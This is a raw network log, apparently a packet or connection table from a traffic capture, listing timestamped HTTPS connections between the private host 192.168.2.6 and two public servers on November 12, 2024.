Nov 12, 2024 13:35:17.518704891 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.521754026 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.521823883 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.521840096 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.525712967 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.525775909 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.525788069 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.534121037 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.534183025 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.534188986 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.534341097 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.534475088 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.534480095 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.563206911 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.563251972 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.563456059 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.563484907 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.563492060 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.563500881 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.563505888 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.566072941 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.566107988 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.566190958 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.566346884 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.566359043 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.580276012 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.580327988 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.580342054 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.581531048 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.581640959 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.581720114 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.581747055 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.581765890 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.581775904 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.581782103 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.583808899 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.583832026 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.583890915 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.584005117 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.584017038 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.584199905 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.584256887 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.584372044 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.584398031 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.584402084 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.584412098 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.584414959 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.586267948 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.586282969 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.586348057 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.586464882 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.586482048 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.610706091 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.610913992 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.610986948 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.611157894 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.611161947 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.611171007 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.611174107 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.613486052 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.613511086 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.613590956 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.613733053 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.613744974 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.621434927 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.640445948 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.640506029 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.640573025 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.640585899 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.644211054 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.644274950 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.644282103 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.649619102 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.649677038 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.649730921 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.649929047 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.649936914 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.649947882 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.649951935 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.652477980 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.652502060 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.652568102 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.652633905 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.652702093 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.652704000 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.652717113 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.652723074 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.652730942 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.652781963 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.652842045 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.698157072 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.698169947 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.704302073 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.704338074 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.704370975 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.704380035 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.704423904 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.704440117 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.745004892 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.759273052 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.759394884 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.759423018 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.759459972 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.759474993 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.762284040 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.762847900 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.771250963 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.771317959 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.771330118 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.771447897 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.771493912 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.771500111 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.823141098 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.823153019 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.823260069 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.823415041 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.823420048 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.870038033 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.878050089 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.878258944 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.878288031 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.878319025 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.878328085 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.878365040 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.878451109 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.881429911 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.881480932 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.881505966 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.881511927 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.881556988 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.881561995 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.881616116 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.881660938 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.881953955 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.881969929 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:18.315463066 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.316077948 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.316098928 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.316559076 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.316565037 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.326436043 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.326700926 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.326710939 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.327047110 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.327052116 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.333100080 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.333328009 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.333349943 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.333647966 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.333652020 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.357680082 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.358553886 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.358572960 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.358968019 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.358973026 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.387773037 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.388231993 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.388250113 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.388729095 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.388736963 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.444061041 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.444123030 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.444336891 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.444375038 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.444401979 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.444413900 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.444420099 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.447067976 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.447096109 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.447179079 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.447350979 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.447367907 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.460163116 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.460243940 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.460448980 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.460479975 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.460489988 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.460498095 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.460501909 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.463119030 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.463141918 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.463211060 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.463340998 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.463355064 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.464412928 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.464512110 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.464617968 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.464643955 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.464649916 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.464658976 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.464663029 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.467194080 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.467219114 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.467298985 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.467433929 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.467451096 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.494168997 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.494256020 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.494431973 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.494462967 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.494477987 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.494498968 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.494503975 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.496812105 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.496828079 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.496937990 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.497067928 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.497081041 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.515963078 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.516102076 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.516210079 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.516340971 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.516350985 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.516375065 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.516380072 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.518246889 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.518268108 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:18.518429995 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.518526077 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:18.518537998 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.201965094 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.208455086 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.209294081 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.209314108 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.209475040 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.209489107 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.209893942 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.209898949 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.209944963 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.209949970 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.220689058 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.222901106 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.222929955 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.223318100 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.223324060 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.266535044 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.266961098 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.266977072 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.267431974 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.267437935 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.277448893 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.278208971 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.278222084 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.278599977 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.278604031 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.335874081 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.335937977 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.336016893 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.336241961 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.336261034 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.336271048 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.336277962 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.339309931 CET	49752	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.339359999 CET	443	49752	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.342317104 CET	49752	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.342432022 CET	49752	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.342444897 CET	443	49752	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.349148035 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.349370956 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.349426985 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.349451065 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.349462986 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.349472046 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.349477053 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.351772070 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.351798058 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.351866007 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.351979971 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.351993084 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.395124912 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.395183086 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.395231009 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.395344019 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.395354986 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.395364046 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.395369053 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.397615910 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.397631884 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.397638083 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.397742987 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.397842884 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.397855043 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.397861958 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.397913933 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.397947073 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.397963047 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.397977114 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.397981882 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.399879932 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.399894953 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.399962902 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.400084972 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.400095940 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.413533926 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.413599968 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.413650036 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.413754940 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.413764954 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.413774967 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.413779974 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.415731907 CET	49756	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.415760994 CET	443	49756	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:19.415863037 CET	49756	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.416008949 CET	49756	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:19.416023016 CET	443	49756	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.042845011 CET	49759	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:20.042887926 CET	443	49759	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:20.042947054 CET	49759	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:20.043272972 CET	49759	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:20.043286085 CET	443	49759	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:20.068502903 CET	443	49752	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.068983078 CET	49752	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.069000959 CET	443	49752	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.069422960 CET	49752	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.069428921 CET	443	49752	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.084341049 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.084813118 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.084820986 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.085206985 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.085210085 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.142333984 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.142707109 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.142709970 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.142719984 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.143126011 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.143130064 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.143337965 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.143357992 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.143764973 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.143770933 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.155529976 CET	443	49756	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.155880928 CET	49756	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.155896902 CET	443	49756	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.156358004 CET	49756	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.156364918 CET	443	49756	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.206162930 CET	443	49752	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.206407070 CET	443	49752	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.206471920 CET	49752	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.206521988 CET	49752	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.206540108 CET	443	49752	13.107.246.45	192.168.2.6
